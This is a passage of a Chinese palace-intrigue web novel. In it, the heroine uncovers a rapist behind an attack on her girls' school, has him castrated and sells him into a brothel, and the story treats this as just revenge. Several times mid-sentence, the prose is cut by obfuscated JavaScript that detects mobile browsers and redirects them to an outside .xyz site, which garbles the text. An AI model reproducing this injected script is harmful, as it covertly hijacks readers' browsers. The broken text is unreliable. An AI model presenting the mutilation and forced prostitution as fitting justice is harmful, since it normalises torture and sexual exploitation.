赵太傅完全没注意到赵母,他将自己的视线放到秦怀瑾身上,“秦公子,你刚才的话,可敢再说一遍?” 秦怀瑾迎着他的目光,“晚辈刚才说,太后娘娘的死疑点重重,而秦时月有重大嫌疑。另外,郡主近来遭遇的种种,都是秦时月和宋墨辰一手策划,目的就是为了打压赵家!” “晚辈知道这话听起来骇人听闻,可若不是实在看不下去,晚辈也不会贸然登门。” “八皇子虽处境艰难,却绝非庸碌之辈,只要赵府肯助他一臂之力,他日他登上高位,定不会忘了赵家的恩情,到时候不仅能为赵小姐和太后娘娘报仇,赵家也能重回巅峰。” 过了许久,赵太傅才缓缓开口,声音里带着压抑的怒火,“好一个秦时月,好一个宋墨辰!真当我赵家是好欺负的不成!” 赵家落魄至此,竟然都是宋墨辰和秦时月做的! 见状,赵母赶紧道:“老爷,秦公子的提议……” “提议?”赵太傅看向秦怀瑾,眼神锐利,“好,那我们就给你机会,若是让我发现你在骗我,我让你死无葬身之地!” 赵家没落,皇帝病重,宋墨辰一家独大,八皇子……或许真的是唯一的出路。 “晚辈不敢。”秦怀瑾拱手,“若是事不成,晚辈任凭赵府处置!” 闻言,赵承宗点了点头。 秦怀瑾知道这是送客的意思,起身作揖,“赵太傅,赵夫人,晚辈告辞。” 看着秦怀瑾的身影消失在院门外,赵太傅沉着脸低下了头。 他知道,帮他,就是在帮赵家。 秦时月和宋墨辰欠赵家的,他会一笔一笔,连本带利地讨回来! 与此同时,揽月园内。 秦时月靠在廊下,手拿一把扇子轻轻的把玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158334|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 影夜突然从暗处出现,恭敬的掠到秦时月身前,单膝跪下,“小姐,秦怀瑾午**赵府,逗留一个时辰才出府”。 闻言,秦时月笑了一下,抬头看向侍立一旁的影夜,“有趣,他去赵家做什么?” 影夜垂眸回话,“我们的人没靠太近,不知做什么,我们查到他最近在京中四处钻营,大概是想找个靠山,只是各家都不太待见他。” 原来如此。 秦时月将扇子放到一旁的桌子上,看向秦怀瑾院子的方向,勾唇笑了一下。 赵家如今虽不比从前,好歹还有几分薄面。 看来他是真的走投无路了,这才想要和赵家攀上关系。 “走投无路,铤而走险,真是可笑。”秦时月拿起一旁的茶盏,“让人盯紧些,看看他接下来要往哪去,跟赵家还有没有后续往来。” 既然秦怀瑾想要和赵家攀上关系,那她就看看,他能走到哪一步。 赵家,秦怀瑾攀得上,却不能轻易摆脱,她就等着看好戏! 影夜刚要应声,影风匆匆赶来。 见状,影夜识趣的退下,秦时月没有理会,只是淡定的靠在廊下喝茶。 影风走进眉头微蹙,恭敬的说了一句,“小姐,赵家有动静了。” “哦?” “亥时,赵府后门有马车驶出,马车不起眼,帘布遮得严实,属下趁机凑近,隐约可见车内坐一女子,身形……与赵景阳相似。”影风拧眉道。 闻言,秦时月眼底闪过一丝玩味。 “这是要把人送出去?看来秦怀瑾过去一趟,倒是起了些作用。”秦时月冷笑。 真好奇,他们到底说了什么。 “小姐,要不要让人跟上那辆马车?”影风询问。 瞧那马车的方向,应该是要出城。 “不必。”秦时月摇头,并没有将这些事放在心上。 赵景阳被关了这些日子,性子早磨得只剩些戾气,没了赵家在京里的势力撑腰,她一个闺阁女子,翻不起什么大浪。 第277章 女子学堂出事 倒是赵家,突然把赵景阳送走,又跟秦怀瑾搭上了线,恐怕是憋着什么别的心思。 “重点盯着赵家和秦怀瑾,其他的先不用管。”秦时月轻轻叩击着桌面,似笑非笑道。 赵家夫妇这次被秦怀瑾说动,十有**是想找机会报复。 “让人把赵家上下的动静都摸清了。”秦时月勾唇轻笑。 “是。”影风拱手。 赵太傅在朝堂上待了多年,手里握着不少旧人脉,虽然赵家现在大不如前,但真要动起来,未必不能搅出些水花。 何况,还有个秦怀瑾,说不定真能凑出些热闹。 “需要和王爷说吗?”影风问道。 毕竟,此事涉及皇室。 秦时月想了想,摇头,“不必,这点小事还犯不着惊动他,你让人盯紧便是,有什么要紧事随时报给我。” 影风应道:“属下明白。” “去吧。”秦时月挥了挥手。 不知宋墨辰现在如何了,宫里的事情是否都处理完了,宫外有她看着,绝对不会让那些人有可乘之机,她现在唯一担心的就是他那边。 半月后。 “小姐,这是赵家近半个月的动向。”影夜回禀道。 秦时月扫了一眼桌上的册子,嗯了一声。 “赵夫人这半个月进宫的次数,比往年半年加起来都多。”影夜提醒道。 “哦?她去给谁请安?” “都是去见安嫔。”影夜回道:“每次都待够一个时辰才出来。” 安嫔,好一个安嫔。 原来秦怀瑾还没放弃八皇子,赵家也想利用八皇子。 眼下太子和三皇子已死,除了宋墨辰,那便只剩下八皇子了。 赵家跟秦怀瑾搅在一起,打的是助八皇子上位的主意,可八皇子如今脸毁了,明着扶持太扎眼。 安嫔是八皇子名义上的养母,赵夫人借着探望安嫔的由头进宫,既能顺理成章地跟八皇子传递消息,又能在宫里探听动静,真是好手段。 “赵家这步棋,倒是比我想的要细些。”秦时月冷哼一声。 “那要不要告诉……” 不等影夜说完,秦时月出言打断了他,“当然得告诉王爷。” “后宫和前朝连着根,安嫔这边动起来,朝堂上怕是也要有动作了。” “那属下这就去传信?” “嗯,”秦时月点头,“就说赵家借道安嫔,八皇子那边怕是要有动作,让他多留个心眼。” “是。”影夜应声退下。 影夜刚离开没多久,小荷便匆匆的跑了进来,神情慌张的看向秦时月,“不好了小姐,女子学院那边闹起来了!” 秦时月放下手里的册子,疑惑的看向小荷,“出什么事了?你别急,慢慢说,谁在闹?” “是王家夫妇。”小荷喘着气,“他们说,说自家女儿在女子学堂被人欺负了,如今怀了身孕,正堵着门要说法!” 闻言,秦时月心头猛地一沉。 怎么会在这个时候出事? 女子学堂是她亲自办的,学堂规矩极为严格,入夜后校舍四周有婆子轮值,男丁不得靠近半步,学生出入都要登记,怎么会出这种事? “走,去看看。”秦时月想都没想,直接跨出揽月园往女子学堂的方向走去。 此时,女子学堂外。 一个身穿粗布单衣的妇人坐在地上,破口喊道:“大家快来评评理啊,我把女儿送到这学堂是想让她识些字,懂些礼,哪成想竟被人糟践成这样!这肚子都显怀了,往后可怎么做人啊!” 门前的空地上已经围了不少街坊,他们都伸出手对着学堂指指点点。 “王大哥,李嫂子。”秦时月走到门口,声音平静,“有话进来说,堵着门像什么样子。” 听到声音,李嫂子猛地抬起头,指着她就骂,“我家秀儿就在你这学堂读书,如今被人弄大了肚子,你别想打发我!” 周围的议论声顿时大了起来。 “秀儿,你出来!当着大家伙的面,把她们对你做的事说清楚!娘给你撑腰!” 一个穿着布裙的女子低着头走了出来,正是学堂的学生王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158335|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀儿。 “秀儿……”李嫂子见了女儿,哭得更凶了,“你别怕,告诉娘,是哪个天杀的畜生害了你,是不是学堂里的先生,还是秦时月找来的什么野男人!” 王秀儿猛地抬起头,“娘……不是的……” “不是?那你肚子里的孩子是哪来的?”王屠户突然站起来,红着眼瞪她,“你说啊!是不是在这学堂里怀上的!” 李嫂子上前揪住王秀儿的耳朵,朝着大家喊道:“大家别被这学堂骗了,这里根本不是教书育人的地方,是藏污纳垢的窑子!” 此话一出,瞬间鸦雀无声,周围人的目光紧紧盯着秦时月。 秦时月面无表情的看着李嫂子,“李嫂子,你说这话要讲良心,我这里是什么地方,所有人都看在眼里,你这是污蔑。” “污蔑?”李嫂子冷笑一声,“我污蔑你什么了!?我早听说了,你让这些丫头学那些勾栏里的曲子!上个月城西的刘员外是不是送来了两箱银子?要我看,就是你让她们陪刘员外陪好了,他才捐的!” 秦时月眼神一沉,面色冷了下来,“刘员外捐资助学,他把银子放下就走了,何曾有过半分逾矩?” “李嫂子说的不会是真的吧?刘员外是出了名的风流,他肯给女子学堂送钱,说不定这其中,真的有什么‘生意’。” “说的是啊,我听说这女子学堂不赚钱,明月县主就是再有钱,也不会做这种赔本买卖吧。我看,李嫂子没冤枉她。” “退一万步说,秀儿是进了女子学堂后才有了身子,这总不是假的吧。” “真是知人知面不知心,亏她还总说要让女子自立。” “这学堂不能留!赶紧报官,让县太爷来查!” 周围的议论声已经彻底变了味。 说着,有人已经转身往京兆府的方向跑去。 李大嫂心里暗暗得意,哭得更起劲了。 秦时月深吸一口气,强迫自己冷静下来。 没过多久,李大人领着几个衙役,在百姓的簇拥下走了过来。 “何事喧哗?” 第278章 万恶之首,李明轩 李大嫂立刻扑上去,把刚才的话又哭诉了一遍。 王秀儿在一旁哭的不能自己,一句话都说不出来。 李大人听完,脸色凝重的看向秦时月。 “县主,王秀儿既是你学堂的学生,此事你难辞其咎,依律,这学堂需先查封,待本官查清真相,再做定论。” “查封?”秦时月猛地抬头,难以置信,“大人,仅凭一面之词就封了学堂,这里有上百名学生,她们的学业怎么办?” “秦小姐。”李大人叹了口气,“此事关乎风化,非同小可,只要查清是误会,学堂自然能重开。” 他挥了挥手,衙役们立刻上前,拿出封条就要往学堂大门上贴。 “不可!”秦时月想拦,却被衙役拦住。 原来,毁掉一个用心经营的地方,竟这么容易。 封条贴上的那一刻,周围响起一阵低低的欢呼。 王屠户夫妇压着王秀儿,在众人的同情目光中慢慢离开,仿佛真的讨回了公道。 秦时月强迫自己冷静下来,冷声朝身后吩咐身后的影风道:“去查!” “是。”影风应声。 那张鲜红的封条,真是格外刺眼! 不多时,影风走了过来。 方才秦时月吩咐的事情,他已调查完毕。 “小姐,查清楚了。” 闻言,秦时月伸出手,在小荷的搀扶下坐到马车上,“说。” “王秀儿家里有个表哥,叫李明轩,是邻县的秀才,三个月前以备考为名搬到王家暂住。”影风回禀道:“这李明轩名声很差,来京城后经常出入青楼楚馆,欠下不少酒钱。” “我找到了给王秀儿诊脉的大夫,得知王秀儿确实怀了身孕,月份刚满两个月。” 原来如此,秦时月勾唇轻笑,两个月,正好是王秀儿表哥来京后不久,而她的学堂,也只开了不到一个月。 她肚子里的孩子是谁的,答案显而易见。 “一个流连花楼的秀才,住在表妹家,做出这等事倒不意外,只是,王秀儿为何要隐瞒不说?”秦时月疑惑。 若是王秀儿直接将真相说出,以她的脾气秉性,必然是会帮助王秀儿的,也不会闹到这个地步。 “不知。”影风垂头,“小姐恕罪。” “那个姓李的现在在哪?”秦时月问道。 既然是李明轩搞出来的,那就让李明轩出面处理,若是他不肯出面,那就把他绑到京兆府。 无论如何,女子学堂的名声不容玷污。 “还在王家。”影风问道:“要不要把李明轩抓回来,让他跟王秀儿对质?” “不必,我亲自处理。”秦时月松了松肩膀,对着马车外的小荷喊了一声,“先回府。” 眼下天色已黑,她并不着急。 等明日,她要让王秀儿亲自说出那个奸夫是谁。 翌日一早,秦时月让小荷去将王秀儿带来,有些话,她需要单独和王秀儿聊聊。 大约过了一个时辰,王秀儿脸色难看,浑身抖擞的出现在秦时月眼前。 她低着头,嘴唇抿得紧紧的,神情慌张,像是做错了什么事情一般。 “抬起头来。”秦时月说了一句,语气里带着不容置喙。 闻言,王秀儿肩膀猛地一颤,迟疑了半晌,才缓缓抬起头。 她眼睛红肿,显然是没有睡好。 看见秦时月后,她又慌忙低下头,“秦,秦小姐……” “昨日在学堂门口,你母亲说的那些话。”秦时月直勾勾的看着她,眼神里没有半分情绪,“再跟我说一遍。” 听到这话,王秀儿面色一僵,半天没说出话。 “说不出来了?”秦时月笑了一下,目光落在她微微隆起的小腹上,“还是说,你知道那些话是骗人的,是你母亲故意当着众人面诬陷女子学堂的?” 王秀儿猛地抬头,眼里闪过一丝慌乱。 秦时月没动怒,只是静静地看着她,“事实已经清楚了,我现在只想知道,还有哪些女子被害过?” “我,我不知道……”王秀儿眼神躲闪。 “不知道啊。”秦时月挑眉。 “我……”王秀儿哑口无言。 秦时月站起身,走到她面前居高临下地看着她。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161515|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道吗,是你毁了学堂的名声,毁了百十个姑娘的前程,你有没有想过,你母亲这样一闹,让学堂的姑娘们该如何自处!” “我,我也是没办法,我是被**的,若是说出来,我会被浸猪笼的……”王秀儿被吓得往后退了一下。 “你肚子里的孩子,究竟是谁的!”秦时月严肃的瞪着她。 如果王秀儿能迷途知返,她愿意拉她一把。 “我……是,是……”王秀儿咬紧下唇一个劲的摇头,像是受到了天大的刺激。 见状,秦时月不紧不慢的吐出一个名字,“是李明轩吧。” 这个名字一出,王秀儿瞬间僵在原地。 她张了张嘴,想说什么,一句话也说不出口。 秦时月给她倒了杯温水,重新坐回椅上。 “喝口水吧,你要是愿意说实话,我或许能帮你,可你要是一直揣着那些谎话,最后害的只能是你自己。” 王秀儿看着那杯水,眼泪又掉了下来。 她沉默了许久,终于拿起水杯一口气喝了大半,然后,像是豁出一切似的道:“都是李明轩逼我的……” 见王秀儿愿意和自己吐漏心声,秦时月靠在椅子上,静静听着她的诉说。 “三个月前,他来我家借住,说要备考,我爹娘觉得他是读书人,就留他住下了。” “可谁知道,谁知道他根本不是来读书的!他天天往城里的花楼跑,两个月前的一个晚上,我爹娘去邻村看亲戚,家里就我和他,夜里他喝得醉醺醺地回来……” “他,他闯进我的房间,**了我!他说,我要是敢喊,敢告诉外人,他就对外说我勾引他,让我这辈子都嫁不出去。” 说到这里,王秀儿再也忍不住,趴在膝盖上失声痛哭。 “爹娘最看重脸面,我不敢告诉他们,后来,我发现葵水两个月不至,担惊受怕的去看了大夫,这才发现怀了身孕……” “是他,是李明轩担心事迹败露,故意跟我父母说我一定是在学堂里被搞大了肚子,他说只要把事情闹大,你们肯定会怕,到时候要么给我家一大笔钱,要么帮我把孩子处理掉……” 第279章 处理渣男 说到这,王秀儿哭的更痛了,痛到脸色发白,声音发颤。 “所以你母亲想毁了学堂女子们的前程的时候,你连解释也不敢。”秦时月心里发苦,一时间不知道该痛恨这个软弱的王秀儿,还是痛恨这个**不吐骨头的朝代了。 不过,她又有什么权利去嫌恶王秀儿的沉默呢?上一世的她,何尝不是另一个“王秀儿”? “我知道错了。”王秀儿低下头,“真的知道错了,我当时被吓坏了,满脑子都是怎么把这事瞒过去,县主,我对不住你,对不住学堂里的姐妹们。” 说着,王秀儿就要往地上跪,秦时月及时伸出手拦住。 “你有错,但错的不止你一个。”秦时月叹了口气。 说到底,都是李明轩的错,这种**根本不配活在世上。 “对不起,对不起……”王秀儿一个劲的道歉,“都是我的错,是我的懦弱害了学堂。” 听到哭声,秦时月一阵心烦,她长吸一口气,看了小荷一眼,示意小荷将人送走。 既然确定了凶手,那就好办了。 王秀儿被送走后,秦时月向暗处扫了一眼,影风顿时明白了她的意思,立即翻墙而出。 不知过了多久,李明轩就被影风带了回来。 李明轩一身酒气,影风担心熏到秦时月,便将其扔到了揽月园柴房中。 得知情况后,她特意换了身衣服,在小荷的陪同下去了柴房。 此时,李明轩正满脸醉态,翘着腿坐在草堆上,见有人进来,眼睛先是一亮,随即就黏在秦时月身上挪不开了。 今日她穿了件月白色浮光锦襦裙,行走间,那料子如月华浮动流淌,看着就不是俗物, 她的头上只簪了支白玉簪,没有多余的饰物,却更衬得她眉眼清俊,宛若天仙下凡。 “哟,这哪儿来的仙女?”李明轩吹了声口哨,故意把腿张得更开,“谪仙人啊,我最是喜欢。” 秦时月没说话,走到一旁的凳子上坐下,小荷立在一旁,看**般看着他。 “怎么不说话?”李明轩站起身,踉跄着往她跟前凑了两步,“像爷这样有能耐的男人,你们这些娇滴滴的娘子见了,肯定都喜欢**吧。” 说着,他伸手就想去碰她。 下一秒,不等他反应过来,他忽然感觉手腕一麻,像是被什么东西叮了下。 他愣了愣,低头一看,手腕上竟多了根银针。 “这,这是啥!?”他只觉得那麻意顺着胳膊往上爬,随后,半边身子都开始发木,这一刻,他慌了。 秦时月抬眼,似笑非笑,“李公子方才说,什么事?” “**谁啊?敢动爷!”李明轩缓过神,怒声吼道:“知道爷是谁吗?等我出去,定要把你这破地方砸了,再把你卖到窑子里去,让你天天伺候男人!” “哦?”秦时月挑了挑眉,指尖不知何时又多了根银针,“那你可得先想想,自己能不能出去。” 说完,那根银针便落在了他另一只手腕上。 这下,他两只胳膊都麻了。 李明轩顿时被吓得脸色惨白,说话都不利索了,“你想干什么?我告诉你,我不仅仅是秀才,我还是秀儿的表哥,她爹娘都得敬我三分!” “王秀儿?”秦时月起身,漫不经心的说道:“你是说,被你拖进房间搞怀孕的王秀儿吗?” “你胡说八道什么,我跟秀儿清清白白的,是女子学堂做勾栏生意卖了她。要不,要不就是她自己不要脸,在外面勾三搭四,怀了野种还想赖我头上!” 李明轩脸色发白,眼神闪躲,却梗着脖子道。 他不清楚面前人的身份,不敢胡言乱语,只能尽可能推脱关系。 闻言,秦时月表情不变,但眼神却沉了下来,“影风,我没时间跟他啰嗦,交给你了。” 影风不知从哪冒出来,一脚踹在他的胸口,冷声问道:“从你住进王家开始,一句句说清楚,敢有半句瞎话,死!” 他气势十足,浑身散发着骇人的杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161516|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,李明轩当场被吓到酒醒,再也不敢含糊。 “我,我说。我去年住进秀儿家,说是备考,其实就是不想在家被我爹打骂,秀儿爹娘老实,觉得我是读书人,对我挺客气的。” “在京城,我认识了些狐朋**,跟着去了南风馆,那地方花钱厉害,我带的盘缠很快就花光了,就想着捞点钱。” “秀儿长得俊,性子又软,有天夜里我喝多了,回去见她屋里还亮着灯,就起了歹心。我闯进她房里,她说要喊人,我就吓唬她,说要是敢声张,就对外说她勾引我。” “完事之后,我又跟她说,这事要是传出去,她这辈子就完了,她爹娘也抬不起头,她吓得直哭,没敢告诉别人,后来她怀孕了,我就合计着,反正她胆小,不如让她咬一口别人,骗点钱。” 秦时月眼神冰冷,浑身气息压抑,竟是比影风身上的气势还要吓人。 李明轩心中一慌,突然跪倒,“我错了,我真的错,我就是一时糊涂,我不是人!求您高抬贵手,饶了我这一回吧!” 秦时月看着他涕泪横流的样子,冷声笑了笑,“饶了你,怎么可能?你犯下的罪,按律当斩。” 听到这话,李明轩猛地抬头,眼里满是惊恐,“你想干什么?你不能对我动私刑,更不能杀我!” “放心,我不杀你。”秦时月笑了一下,冷声命令,“影风,把他拖下去,找个懂行的去了那祸根,让他这辈子都做不成男人。” 李明轩双眼圆睁,满脸慌张,“不!你不能这么对我!” 可等待他的,只有影风无情的拳头和拖拽。 “小荷,找个地方让他养着,别让他**,等养好了把送他去南风馆,他不是喜欢去花楼吗,那就让他当小倌好了,让他也尝尝被人糟践的滋味。” “是。”小荷点头。 秦时月没再说话,转身离开了柴房。 只是切掉那个混蛋的子孙根已经是她手下留情了,这点惩罚比起他犯下的那些罪业,不足千分之一。 第280章 同情心泛滥 这世道,对女子本就苛刻,她既然要开办学堂,首要的就是护着这些姑娘,如此,就不能有半点心软。 今日这刀,她挥了,杀鸡儆猴,不后悔。 处理完李明轩后,秦时月乘车来到了王家院外,小荷正好将王秀儿带了过来。 “县主。”王秀儿垂着头,恭敬喊了一声。 秦时月掀开马车帘子,对她招了招手,“过来。” 王秀儿走上马车,在秦时月对面坐下,规规矩矩的。 “学堂明日恢复开课。”秦时月先开了口,“你要是想回来,随时都能回来。” 方才来的路上,秦时月便让人将李明轩的罪证送到了京兆府。 李大人拿到证据后,立刻撤了女子学堂门上的封条。 王秀儿猛地抬头,眼里闪过一丝惊喜,随即又黯淡下去,嘴角发苦,“我,我怕是回不来了。” 她做了那种错事,肚子里还怀着孽种,她怎么好意思再回去? “为何?” “我……” 她难以启齿,秦时月却了然的点点头,没再劝。 随后从袖子里拿出一个荷包,递到王秀儿面前,“这里是五十两,你先拿着。” 王秀儿慌忙摆手,“我,我不能要。” “李明轩我已经处理了。”秦时月说道:“这些钱给你堕胎用,堕胎后你想去哪都可以,这些钱足够支持你做盘缠,或是做点小生意糊口。” “记住,错的不是你,是那些伤害你的人,你还年轻,日子总要往前过。”秦时月难得耐心说道。 这世道,女子生活本就不易,若是再带上一个孩子,那便难上加难,况且这孩子的来历…… “县主,您的大恩大德,我这辈子都还不清。” “不用还。我开这学堂,本就是想让女子能有一技之长,不受人欺负,你能好好活下去,就是对我最好的回报。” 王秀儿突然跪下,对着秦时月深深一拜,“我想跟着您,县主,我知道您身份尊贵,身边不缺人,可我还是想您给我个机会,让我跟着您,报答您。” 秦时月有些意外地挑了挑眉。 “我不要工钱,只要一口饭吃就成。我会绣活,也可以按照您的要求学任何东西,我想跟着您,为您鞍前马后,哪怕做牛做马我都愿意!” 看着跪在面前的王秀儿,秦时月眼神微闪,缓缓开口道:“我在南国有个产业,那里气候暖,人也随和,离京城远,没人认识你,你要是愿意去,我帮你安排。” 这丫头倒是个懂知恩图报的,既然如此,她愿意给她个机会。 见秦时月肯认下自己,王秀儿喜极而泣,“只要能有个地方重新开始,再苦再累我都不怕!县主,谢谢您,谢谢您还肯信我,肯给我机会!” “不是我给你机会,这是你自己挣来的。”秦时月给小荷一个眼神,小荷立刻上前扶起她,“明日一早就有去南边的船,我让人送你去码头。” “是,县主,您多保重。”王秀儿点点头,眼神决绝。 一个月后,南风馆内。 李明轩穿着件艳红色的透明薄纱,半倚在二楼的雕花栏杆上,手里拿着一壶小酒,正有滋有味的细品着。 他生的清秀,被去势后皮肤变得格外白净,因此深得不少达官贵人们的喜欢,若不是眼神太过阴翳,想来会更招人喜欢。 不过,年过半百的张大人很是中意他,几乎夜夜点他,和他玩得不亦乐乎。 为了迎合张大人,老鸨特意给他改了个名字——玉郎。 “玉郎,张大人在房里等你呢。”老鸨扭着腰过来,满脸媚笑,“今日你可得好好伺候,大人说了,有好事赏你。” 李明轩拢了拢衣襟,眼底闪过一丝恨意,面上却多了一抹笑意,“妈妈放心,我晓得分寸。” 进了房,张大人正歪在榻上吞云吐雾,见他进来,招了招手,“过来。” 李明轩强压心底的厌恶和胃部翻涌的不适,快步上前,半跪在榻前,伸手替他捏着腿,“大人今日气色真好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168437|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,定是有什么喜事。” “还是你机灵。”张大人摸了摸他滑溜的脸,“说吧,前几日你哭着喊着要报仇,到底是被哪个不长眼的东西害了?” 他往张大人怀里蹭了蹭,“那人害得我好苦,不光毁了我的身子,还把我丢进这种地方,奴家日夜想着报仇。” “大人要是能帮奴家报了这仇,奴家这辈子都伺候您。”李明轩声音谄媚,故意贴在张大人的耳朵旁边吹气。 张大人被他缠得骨头都酥了,一把将他搂进怀里,上下其手,“小宝贝儿放心,在这京城地面上,还没我张某人办不成的事。” “可是,我不知道她是谁,只知道是个女子。”李明轩嘟囔道。 “管她是谁,敢动我的人,就得付出代价。”张大人拍了拍他的脸,“你放心,我这就让人去查,不出三日,定让你知道是谁害了你,到时候,我把她抓来给你发落。” “谢大人!大人对奴家的恩,奴家无以为报。”说着,李明轩便凑上去,使出浑身解数伺候起来。 此刻,南风馆对面的茶楼上,秦时月靠窗而坐。 她今日特意换了男装,束了长发,手上还拿着一把扇子。 “小姐。”影风道:“张大人刚派了人出去,看方向,是往女子学堂去了。” “查得怎么样了?” “李明轩这几日借着张大人的势,在楼里很是得意,不止一次跟张大人哭诉,说您害他,求张大人替他报仇。” 闻言,秦时月轻笑一声,“倒是没想到,他这副身子骨,竟真的有本事勾搭上张大人。” 要知道,张大人可是户部侍郎。 “要不要属下现在去处理掉他?” “不急。”秦时月摇摇头,目光扫过南风馆门口来往的车马,眼底带笑,“去南风馆。” 她想要亲自去会会这个张大人,还有现在的李明轩。 听到这话,小荷脸色发白,立即出言阻止,“不行小姐,不能去,那里鱼龙混杂,我们……” 第281章 张大人?是个屁 “怕什么?”秦时月挑眉,“我今天特意换上了男装,就是为了进去看看。” “小姐!” “别说话,你要是不去,就在这等着。”秦时月捏着扇子,像纨绔一般,用扇子挑起了小荷的下巴,笑吟吟逗人。 面前的“小公子”太过俊俏,小何俏脸一红,心跳如雷,有些慌乱又有些狼狈的低下了头。 见状,秦时月笑笑,抬脚下楼。 南风馆。 秦时月带着小荷一进门,老鸨立刻迎了上来。 “他们”衣着光鲜,定是哪个大户人家的管事,她可不能怠慢了。 “两位爷,要找什么样的,我们这儿新来了几个不错的,可要奴家为两位爷介绍介绍?” “不用,”秦时月开口,“我们找玉郎。” 老鸨愣了一下,随即笑道:“不巧,他正伺候张大人呢,怕是没空,我们这别的……” “没空?”小荷从袖里摸出一锭银子,放在老鸨手里,“我家主子仰慕玉郎久了,就想请他过来喝杯酒,一刻钟就好。” 沉甸甸的银子砸在掌心,顿时让老鸨眼睛一亮,“原来是这样!我去跟张大人通融通融,您二位先在隔壁房等着?” “好。”小荷看了眼秦时月的眼色,咬唇应下。 两人走入隔壁的空房间。 “小姐,这李明轩真是不要脸,”小荷低声骂道:“竟用这种法子攀附权贵,还想害您。” 秦时月没说话,只是拿起桌上的茶壶,给自己倒了杯凉茶。 没过多久,门被推开,老鸨领着李明轩走了进来。 李明轩显然不情不愿,直到看见秦时月,脸上的不耐烦突然变成了惊讶。 即使秦时月换上了男装,他还是一眼就把她认了出来。 “是,是你!”李明轩被吓的脸色惨白,一个劲的往后退,“你怎么会在这里?你想干什么!” “张大人就在隔壁,你要是敢动我,他饶不了你!” “哦,然后呢。”秦时月慢悠悠地晃着手里的茶杯,“你看看你现在这副样子。不过是个任人摆弄的玩意儿,还敢惦记着报仇,也不撒泡尿照照自己!” 李明轩被拽得头皮发麻,他想骂,想挣扎,可他的喉咙像被堵住了,根本发不出一点声音。 “放开我,你们放开我,张大人,救我,快来救我啊……” 鱼儿,上钩了。 果然,没过片刻,隔壁就传来了掀翻桌椅的声响,紧接着,房门被猛地踹开,张大人带着两个随从闯了进来,眼里满是怒火。 “谁敢在老子的地盘上撒野!”张大人怒吼,目光落在衣衫不整的李明轩身上。 他冲过去想扶起李明轩,却被小荷拦住。 张大人这才抬眼看向站在中间的少年,这张脸,好眼熟,好像在哪见过。 “你是什么人,敢在我的地盘动我的人!”张大人指着秦时月,“知道我是谁吗!识相的赶紧给我滚,不然我让你竖着进来,横着出去!” 秦时月没说话,只是静静地看着他。 小荷则配合地往李明轩身上又踩了两脚。 “你还敢动手!”张大人气得浑身发抖,对随从吼道:“来人,给我把这房间围起来,谁也不准走!今日我非要让这不知天高地厚的小子知道什么叫规矩!” 这小白脸看起来柔柔弱弱的,皮相倒是比李明轩还要美艳几分,若是能将他拿下…… 想到这,张大人的眼底闪过一丝淫欲。 随从们立刻上前,拔刀守在门口。 李明轩躺在地上,心中窃喜,他知道,只要张大人护着他,这女人就算再厉害,也奈何不了他! 他抬头看向秦时月,眼里闪过一丝怨毒和挑衅。 秦时月不屑的抬起眼睛,“张大人好大的威风,你可看清楚了我是谁。” 张大人眯起眼睛,仔细打量起眼前的人。 可房间里烛火昏黄,对方又站在阴影里,他看了半天,也只觉得眼熟,却怎么也想不起来在哪儿见过。 “少废话!我管你是谁!”张大人梗着脖子,“来人,给我拿下!” 随从们应声上前,秦时月却往前一步,走出阴影。 “张大人。”她微微扬下巴,“你再看看,我是谁?” 